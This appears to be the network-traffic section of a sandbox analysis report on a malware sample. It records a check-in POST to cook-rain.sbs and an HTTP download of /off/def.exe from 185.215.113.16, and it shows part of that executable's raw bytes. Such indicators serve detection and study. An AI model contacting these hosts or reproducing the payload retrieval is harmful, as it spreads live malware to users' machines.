Nov 20, 2024 17:43:25.406080961 CET	50110	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:25.406096935 CET	443	50110	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:25.615432024 CET	443	50105	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:25.617892027 CET	50105	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:25.617933035 CET	443	50105	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:25.618655920 CET	50105	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:25.618669033 CET	443	50105	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.118881941 CET	443	50105	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.118906021 CET	443	50105	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.118921995 CET	443	50105	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.118983984 CET	50105	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.119035006 CET	443	50105	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.119070053 CET	50105	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.119110107 CET	50105	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.193964958 CET	443	50107	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.195250034 CET	50107	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.195250034 CET	50107	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.195291996 CET	443	50107	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.195306063 CET	443	50107	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.259032965 CET	443	50108	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.259701967 CET	50108	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.259722948 CET	443	50108	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.260715008 CET	50108	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.260720968 CET	443	50108	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.278194904 CET	443	50105	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.278250933 CET	443	50105	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.278328896 CET	50105	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.278328896 CET	50105	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.278430939 CET	50105	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.278476954 CET	443	50105	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.278503895 CET	50105	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.278521061 CET	443	50105	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.281994104 CET	50111	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.282036066 CET	443	50111	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.282227993 CET	50111	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.282342911 CET	50111	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.282360077 CET	443	50111	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.575459957 CET	443	50109	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.576153994 CET	50109	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.576178074 CET	443	50109	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.576597929 CET	50109	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.576605082 CET	443	50109	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.641308069 CET	443	50107	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.641381025 CET	443	50107	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.641468048 CET	50107	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.641499996 CET	443	50107	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.643383980 CET	50107	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.643393993 CET	443	50107	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.643424988 CET	50107	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.643831015 CET	443	50107	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.643918037 CET	443	50107	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.646800041 CET	50112	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.646806955 CET	50107	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.646840096 CET	443	50112	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.646915913 CET	50112	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.647238970 CET	50112	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.647253990 CET	443	50112	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.769117117 CET	443	50108	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.769145966 CET	443	50108	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.769166946 CET	443	50108	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.769237041 CET	50108	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.769299030 CET	443	50108	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.769339085 CET	50108	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.769361973 CET	50108	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.956800938 CET	443	50108	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.956865072 CET	443	50108	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.956892014 CET	50108	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.956902981 CET	443	50108	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.956939936 CET	50108	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.956959963 CET	50108	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.957139015 CET	50108	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.957158089 CET	443	50108	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.957169056 CET	50108	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.957174063 CET	443	50108	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.960469961 CET	50113	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.960493088 CET	443	50113	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:26.960628033 CET	50113	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.960786104 CET	50113	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:26.960798979 CET	443	50113	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:27.026303053 CET	443	50109	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:27.026385069 CET	443	50109	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:27.026495934 CET	50109	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:27.026516914 CET	443	50109	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:27.027323008 CET	50109	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:27.027524948 CET	50109	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:27.027524948 CET	50109	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:27.027537107 CET	443	50109	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:27.027992964 CET	443	50109	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:27.028083086 CET	443	50109	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:27.030555964 CET	50114	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:27.030555964 CET	50109	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:27.030592918 CET	443	50114	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:27.031332970 CET	50114	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:27.031552076 CET	50114	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:27.031568050 CET	443	50114	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:27.335041046 CET	443	50110	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:27.335650921 CET	50110	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:27.335681915 CET	443	50110	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:27.336154938 CET	50110	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:27.336162090 CET	443	50110	13.107.246.63	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 17:41:20.441626072 CET	64318	53	192.168.2.7	1.1.1.1
Nov 20, 2024 17:41:20.672645092 CET	53	64318	1.1.1.1	192.168.2.7
Nov 20, 2024 17:41:21.862118959 CET	123	123	192.168.2.7	40.81.94.65
Nov 20, 2024 17:41:22.468419075 CET	123	123	40.81.94.65	192.168.2.7
Nov 20, 2024 17:41:54.792763948 CET	53	65498	1.1.1.1	192.168.2.7
Nov 20, 2024 17:41:54.853830099 CET	53	63992	1.1.1.1	192.168.2.7
Nov 20, 2024 17:41:57.514178038 CET	53	52538	1.1.1.1	192.168.2.7
Nov 20, 2024 17:41:59.022517920 CET	54002	53	192.168.2.7	1.1.1.1
Nov 20, 2024 17:41:59.022968054 CET	50136	53	192.168.2.7	1.1.1.1
Nov 20, 2024 17:41:59.166316986 CET	53	54002	1.1.1.1	192.168.2.7
Nov 20, 2024 17:41:59.167072058 CET	53	50136	1.1.1.1	192.168.2.7
Nov 20, 2024 17:42:01.755567074 CET	60012	53	192.168.2.7	1.1.1.1
Nov 20, 2024 17:42:01.755851984 CET	52770	53	192.168.2.7	1.1.1.1
Nov 20, 2024 17:42:05.319427967 CET	62665	53	192.168.2.7	1.1.1.1
Nov 20, 2024 17:42:05.319566011 CET	55573	53	192.168.2.7	1.1.1.1
Nov 20, 2024 17:42:12.515780926 CET	53	58210	1.1.1.1	192.168.2.7
Nov 20, 2024 17:42:14.973418951 CET	64763	53	192.168.2.7	1.1.1.1
Nov 20, 2024 17:42:14.973629951 CET	64010	53	192.168.2.7	1.1.1.1
Nov 20, 2024 17:42:15.110337973 CET	53	54938	1.1.1.1	192.168.2.7
Nov 20, 2024 17:42:15.775568962 CET	138	138	192.168.2.7	192.168.2.255
Nov 20, 2024 17:42:34.283741951 CET	53	60353	1.1.1.1	192.168.2.7
Nov 20, 2024 17:42:54.485560894 CET	53	59407	1.1.1.1	192.168.2.7
Nov 20, 2024 17:42:57.390418053 CET	53	52580	1.1.1.1	192.168.2.7
Nov 20, 2024 17:43:24.337568998 CET	53	63772	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 20, 2024 17:41:57.060786963 CET	192.168.2.7	1.1.1.1	c2e6	(Port unreachable)	Destination Unreachable
Nov 20, 2024 17:42:21.465734005 CET	192.168.2.7	1.1.1.1	c267	(Port unreachable)	Destination Unreachable
Nov 20, 2024 17:42:28.520123959 CET	192.168.2.7	1.1.1.1	c267	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 17:41:20.441626072 CET	192.168.2.7	1.1.1.1	0x12b4	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 20, 2024 17:41:59.022517920 CET	192.168.2.7	1.1.1.1	0xb622	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 17:41:59.022968054 CET	192.168.2.7	1.1.1.1	0x3339	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 17:42:01.755567074 CET	192.168.2.7	1.1.1.1	0x92be	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 17:42:01.755851984 CET	192.168.2.7	1.1.1.1	0x30ea	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 20, 2024 17:42:05.319427967 CET	192.168.2.7	1.1.1.1	0x2b6	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 17:42:05.319566011 CET	192.168.2.7	1.1.1.1	0xc028	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 20, 2024 17:42:14.973418951 CET	192.168.2.7	1.1.1.1	0xb4f4	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 17:42:14.973629951 CET	192.168.2.7	1.1.1.1	0xc796	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 17:41:20.672645092 CET	1.1.1.1	192.168.2.7	0x12b4	No error (0)	cook-rain.sbs		104.21.66.38	A (IP address)	IN (0x0001)	false
Nov 20, 2024 17:41:20.672645092 CET	1.1.1.1	192.168.2.7	0x12b4	No error (0)	cook-rain.sbs		172.67.155.248	A (IP address)	IN (0x0001)	false
Nov 20, 2024 17:41:59.166316986 CET	1.1.1.1	192.168.2.7	0xb622	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 20, 2024 17:41:59.167072058 CET	1.1.1.1	192.168.2.7	0x3339	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 17:42:02.168426991 CET	1.1.1.1	192.168.2.7	0x61c6	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:02.292082071 CET	1.1.1.1	192.168.2.7	0xd2d5	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:02.292082071 CET	1.1.1.1	192.168.2.7	0xd2d5	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:02.292082071 CET	1.1.1.1	192.168.2.7	0xd2d5	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 20, 2024 17:42:02.299545050 CET	1.1.1.1	192.168.2.7	0x92be	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:02.299545050 CET	1.1.1.1	192.168.2.7	0x92be	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:02.299545050 CET	1.1.1.1	192.168.2.7	0x92be	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:02.299545050 CET	1.1.1.1	192.168.2.7	0x92be	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 20, 2024 17:42:02.324373007 CET	1.1.1.1	192.168.2.7	0x30ea	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:02.324373007 CET	1.1.1.1	192.168.2.7	0x30ea	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:05.004992962 CET	1.1.1.1	192.168.2.7	0xac51	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:05.004992962 CET	1.1.1.1	192.168.2.7	0xac51	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:05.004992962 CET	1.1.1.1	192.168.2.7	0xac51	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 20, 2024 17:42:05.006369114 CET	1.1.1.1	192.168.2.7	0xed87	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:05.471944094 CET	1.1.1.1	192.168.2.7	0x2b6	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:05.471944094 CET	1.1.1.1	192.168.2.7	0x2b6	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:05.471944094 CET	1.1.1.1	192.168.2.7	0x2b6	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:05.471944094 CET	1.1.1.1	192.168.2.7	0x2b6	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 20, 2024 17:42:05.472062111 CET	1.1.1.1	192.168.2.7	0xc028	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:05.472062111 CET	1.1.1.1	192.168.2.7	0xc028	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:15.216073990 CET	1.1.1.1	192.168.2.7	0xb4f4	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:15.218059063 CET	1.1.1.1	192.168.2.7	0xc796	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:21.135551929 CET	1.1.1.1	192.168.2.7	0xf015	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:21.465626955 CET	1.1.1.1	192.168.2.7	0x338c	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:28.476166964 CET	1.1.1.1	192.168.2.7	0x22e7	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:42:28.520050049 CET	1.1.1.1	192.168.2.7	0x2e8f	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

cook-rain.sbs

otelrules.azureedge.net

slscr.update.microsoft.com

fs.microsoft.com

https:

js.monitor.azure.com

wcpstatic.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49758	185.215.113.16	80	7476	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 17:41:42.766503096 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 20, 2024 17:41:44.283179998 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 16:41:44 GMT Content-Type: application/octet-stream Content-Length: 2840064 Last-Modified: Wed, 20 Nov 2024 16:31:06 GMT Connection: keep-alive ETag: "673e0eca-2b5600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 07 45 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,E,`Ui` @ @.rsrc`2@.idata 8@dicpbgce+*:@nxasvswz +0+@.taggant@+"4+@
Nov 20, 2024 17:41:44.283260107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 17:41:44.283283949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 17:41:44.283302069 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 17:41:44.283334970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 17:41:44.283350945 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 17:41:44.283368111 CET	776	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 17:41:44.283391953 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 17:41:44.283407927 CET	1236	IN	Data Raw: 69 28 73 1c 9d c8 4c 4f cb 5f ae e5 98 b8 56 a0 96 4a fd 94 6f 38 b6 bc a9 b4 4a 8e d9 72 4e 68 84 42 81 f4 54 86 c7 ae a7 d4 49 62 55 43 53 e4 20 0a 53 71 1e c0 26 d7 f3 aa 68 dc 36 00 6d 36 28 41 d3 9a b2 07 95 76 98 03 4b 40 ec 37 ce 13 e0 50 Data Ascii: i(sLO_VJo8JrNhBTIbUCS Sq&h6m6(AvK@7P/D#_NmIrSVSN4IpzJR<rIKbJ[E2My8AJR6mHq,DaDp\.nB6}~r!nm]f<,FUP$T/}n&KX#F?@F\.Y#G(yD`\|m
Nov 20, 2024 17:41:44.283426046 CET	1236	IN	Data Raw: 9a 72 96 a1 a2 f1 8d c6 33 5b a3 f6 16 1f 6d 08 e0 6c 46 1f 35 0e 1a 06 77 df 8e 20 0a ec ce 13 4a 49 86 6f 2d 77 47 33 c9 51 be 29 5e 6e bf 9f 7d 94 b9 4f 95 1f 94 6e 73 a2 bf 23 4c d5 63 e8 4f 3f 73 2e 4d 1b 1e ac 50 13 9e 2f 6b 19 9f 7a 69 12 Data Ascii: r3[mlF5w JIo-wG3Q)^n}Ons#LcO?s.MP/kziR6CV$F2Uq,L.G 6+4zuyF\|>6i$G"\|{EC/CP\|bT}9qMJ{L6N4&6&<=,J{#qk'nqThqJ
Nov 20, 2024 17:41:44.406457901 CET	1236	IN	Data Raw: 79 4a 70 4f 30 a7 73 f5 29 76 16 c1 38 1e f1 5c 71 29 4d 49 12 49 64 cb 08 4a 03 19 40 e9 12 32 5e cc 4c 24 42 5c fd 99 d9 1f 74 96 c7 73 ae f6 91 62 1e 2d 01 b4 51 8d 6c 6c 0d 41 4a 17 c0 b8 c6 64 bd cc 08 20 ba 69 bc c7 b1 79 91 d4 6d 90 33 be Data Ascii: yJpO0s)v8\q)MIIdJ@2^L$B\tsb-QllAJd iym3@~Fk+<hNmJY=GD2>gJ,l#DG9>Boe<]M_3\|`rFVr<q,b"F&(XO~tXZ,!#VMkgRW^:YKQ%WNW}@Sb

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49704	104.21.66.38	443	7476	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:22 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-20 16:41:22 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-20 16:41:22 UTC	982	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jle46q6ec33vk5o8gj0go036dq; expires=Sun, 16-Mar-2025 10:28:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nk82fX8YCAHXCuaAN0NgtnnqlgQUN5p4cSXjCQFoX4v8aShSRAJhxN4AxMLmZMVJY5B7V4OY8v6%2B6EPZVc%2B7B%2F22NktUrc56Khuua9Gk4BuG5PrFtFcU%2BROp0ene4IuI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e59e31a3b3e7c8e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1981&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=1432777&cwnd=246&unsent_bytes=0&cid=5724385e63c419cc&ts=717&x=0"
2024-11-20 16:41:22 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-20 16:41:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49705	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:22 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
